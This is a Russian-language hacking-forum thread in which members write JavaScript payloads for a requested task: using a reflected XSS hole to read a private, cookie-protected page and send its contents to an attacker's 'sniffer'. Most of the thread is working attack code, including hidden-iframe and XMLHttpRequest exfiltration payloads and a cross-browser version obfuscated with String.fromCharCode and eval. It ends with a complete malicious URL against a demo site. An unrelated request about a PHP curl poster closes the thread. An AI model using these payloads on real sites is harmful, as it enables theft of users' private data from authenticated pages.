Gh0s7 попропрорпросил запостить Собственно сабж. Есть вопрос по жс. <Gh0s7> Ситуация такая: <Gh0s7> Есть саент, на нем пассив гет хсс, длина неорграничена. <Gh0s7> На том же саенте есть мааленькая страничка. Она очень маленькая, в одну строку, примерно 12-16 символов, полностью без хтмл. <Gh0s7> Нужно через имеющуюся хсс слить эту страницу куда-нибудь, например на сниффер. <Gh0s7> На сколько я знаю, это реально. <Gh0s7> Тем, кто даст код +50 в репу (после того, как вернусь из отпуска, в понедельник)
через xss получить контент страницы? 0_о страница закрытая что ли? Типа для мемберов? Думаю через XMLHttpRequest как-нить поколодовать можно. Отправить запрос на страницу, получить контент в качестве ответа, передать контент снифферу. Хотя хз. Вариант 2: Вставляем в уязвимую страницу фрейм с таргетом на закрытую страницу, и JS код который тырит контент фрейма (помоему innerHTML может из фрейма контент забрать?). ну и далее этот контент отправляем на снифак. ЗЫ просто мысли в слух - надеюсь никто не против.
в случае фрейма должны быть одинаковые домены(тут тоже есть тонкость) фрейма и закрытой страницы или нужно писать <frame src='javascript:......'> (не уверен что прокатит) ******** если я правильно понял про что вы , если нет-извините=)
HTML: <iframe id="i1" name="i1" style="display:none" src="http://that/we/wish/to.steal" onload="i1.onload='';i1.contentDocument.location='http://our/sniffer.script?data='+escape(i1.contentDocument.getElementsByTagName('html')[0].innerHTML)"></iframe> Это будет работать, естественно, если не противоречит безопасности JavaScript, т.е. страница с xss и похищяемая должны иметь одинаковые протокол и домен.
омг, ты в курсе что событие onload в iframe происходит после того, как полностью загрузилась страница, указанная в его src?
Два изменения: 1) Теперь читаются не только html, но и txt(т.е. страницы без тегов). 2) Исходный текст страницы передается POST'ом=>увеличена возможная длина. Теперь хтмл выглядит так: HTML: <iframe id="i1" name="i1" style="display:none" src="http://that/we/wish/to.steal" onload="i1.onload='';data=i1.contentDocument.childNodes[0].innerHTML;i1.contentDocument.appendChild(f1=i1.contentDocument.createElement('form'));f1.appendChild(t1=i1.contentDocument.createElement('input'));f1.method='post';f1.action='http://our/sniffer.script';t1.name='send';t1.value=data;f1.submit()"></iframe> Несмотря на до сих пор мне непонятные претензии iNVLose, код работает
Вот пример: PHP: <script> function cR(){var hR;var b=navigator.appName;if(b=="Microsoft Internet Explorer"){hR=new ActiveXObject("Microsoft.XMLHTTP");}else{hR=new XMLHttpRequest();}return hR;} function gT(){if(r.readyState==4&&s==0){var t=r.responseText;s=1;r.open('get',sniff+t);r.send(null);}} var r=new cR();var s=0;var sniff = 'url_of_sniffer.php?'; r.open('get', 'url_to_be_opened'); r.onreadystatechange = gT; r.send(null); </script> Заменить url_of_sniffer.php на URL сниффера, url_to_be_opened на адрес нужной страницы. З.Ы. Iframe не поможет, т.к. браузер: а) Не передает в него кукисы, HTTP_AUTH_USER, etc от основной страницы. б) Не даст посмотреть его innerHTML
Дело в том, что я писал свой вариант ориентируясь на Оперу. Мой код не работает под Ие, твой под Оперой. Может имеет смысл объединить их и получить кроссбраузерный варант=) Ты уверен?
не угадал, не работает под 9.2 Cookies привязываются не к определенной странице, обычно это [протокол] домен [путь]. Даже если бы они не передавались, ничто не помешало бы взять их в document.cookie и передать iframe'у. Несовместимость с Ие заключалась в двух вещах: 1) В Ие iframe-document расположен не в iframe.contentDocument, а в iframe.document 2) Несмотря на стандарты ecmascript Ie запрещает инициировать отправку формы размещенную в iframe путем iframe.document.form.submit() Рассмотрим пример. страница Code: http://v1k.jino-net.ru/page1.php обладает xss уязвимостю в параметре echo. Она также присваивает cookie "login=billgates". страница Code: http://v1k.jino-net.ru/secretpage.php проверяет cookie, и если в нем login==billgates, to выводит, безусловно, секретную информацию "bill gates is lamer", иначе пишет "You didn't enter". страница Code: http://v1k.jino-net.ru/sniffer.php является сниффером,который записывает каждое значение из $_REQUEST в лог sinfferlog.txt. Нам нужно узнать, что билл ламер. Код теперь имеет вид PHP: <iframe id=i1 style=display:none name=i1 src=http://v1k.jino-net.ru/secretpage.php onload=" if(typeof(onetime)=='undefined'){ onetime=1; idoc=(navigator.appName=='Microsoft Internet Explorer')?i1.document:i1.contentDocument;//определяем iframe-document в зависимости от браузера data=idoc.childNodes[0].innerHTML; idoc.write('<form method=post id=\'f1\' action=\'http://v1k.jino-net.ru/sniffer.php\'><input name=\'send\' value=\''+escape(data)+'\'/></form><script>f1.submit()</script>')//пишем в iframe самоотправляющуюся форму }"></iframe> Где Iframe Src = код похищяемой страницы, а Form Action адрес сниффера. %22 и %27 экранируются на jino-net, поэтому кодируем содержимое Iframe Onload в вид String.fromCharCode - Code: String.fromCharCode(105,102,40,116,121,112,101,111,102,40,111,110,101,116,105,109,101,41,61,61,39,117,110,100,101,102,105,110,101,100,39,41,123,111,110,101,116,105,109,101,61,49,59,105,100,111,99,61,40,110,97,118,105,103,97,116,111,114,46,97,112,112,78,97,109,101,61,61,39,77,105,99,114,111,115,111,102,116,32,73,110,116,101,114,110,101,116,32,69,120,112,108,111,114,101,114,39,41,63,105,49,46,100,111,99,117,109,101,110,116,58,105,49,46,99,111,110,116,101,110,116,68,111,99,117,109,101,110,116,59,100,97,116,97,61,105,100,111,99,46,99,104,105,108,100,78,111,100,101,115,91,48,93,46,105,110,110,101,114,72,84,77,76,59,105,100,111,99,46,119,114,105,116,101,40,39,60,102,111,114,109,32,109,101,116,104,111,100,61,112,111,115,116,32,105,100,61,92,39,102,49,92,39,32,97,99,116,105,111,110,61,92,39,104,116,116,112,58,47,47,118,49,107,46,106,105,110,111,45,110,101,116,46,114,117,47,115,110,105,102,102,101,114,46,112,104,112,92,39,62,60,105,110,112,117,116,32,110,97,109,101,61,92,39,115,101,110,100,92,39,32,118,97,108,117,101,61,92,39,39,43,101,115,99,97,112,101,40,100,97,116,97,41,43,39,92,39,47,62,60,47,102,111,114,109,62,60,115,99,114,105,112,116,62,102,49,46,115,117,98,109,105,116,40,41,60,47,115,99,114,105,112,116,62,39,41,125) Конечный url - Code: http://v1k.jino-net.ru/page1.php?echo=<iframe%20id=i1%20style=display:none%20name=i1%20src=http://v1k.jino-net.ru/secretpage.php%20onload=eval(String.fromCharCode(105,102,40,116,121,112,101,111,102,40,111,110,101,116,105,109,101,41,61,61,39,117,110,100,101,102,105,110,101,100,39,41,123,111,110,101,116,105,109,101,61,49,59,105,100,111,99,61,40,110,97,118,105,103,97,116,111,114,46,97,112,112,78,97,109,101,61,61,39,77,105,99,114,111,115,111,102,116,32,73,110,116,101,114,110,101,116,32,69,120,112,108,111,114,101,114,39,41,63,105,49,46,100,111,99,117,109,101,110,116,58,105,49,46,99,111,110,116,101,110,116,68,111,99,117,109,101,110,116,59,100,97,116,97,61,105,100,111,99,46,99,104,105,108,100,78,111,100,101,115,91,48,93,46,105,110,110,101,114,72,84,77,76,59,105,100,111,99,46,119,114,105,116,101,40,39,60,102,111,114,109,32,109,101,116,104,111,100,61,112,111,115,116,32,105,100,61,92,39,102,49,92,39,32,97,99,116,105,111,110,61,92,39,104,116,116,112,58,47,47,118,49,107,46,106,105,110,111,45,110,101,116,46,114,117,47,115,110,105,102,102,101,114,46,112,104,112,92,39,62,60,105,110,112,117,116,32,110,97,109,101,61,92,39,115,101,110,100,92,39,32,118,97,108,117,101,61,92,39,39,43,101,115,99,97,112,101,40,100,97,116,97,41,43,39,92,39,47,62,60,47,102,111,114,109,62,60,115,99,114,105,112,116,62,102,49,46,115,117,98,109,105,116,40,41,60,47,115,99,114,105,112,116,62,39,41,125))></iframe> Работает и на Opera, и на Internet Explorer, и на Mozilla Firefox. ЗЫ: i am ajax hater
Пишу постер на php curl не могу сделать отправку формы, а точнее имитацию параметров синтезируемых javascript Помогите, кто может(хостинг форумов rusff.ru).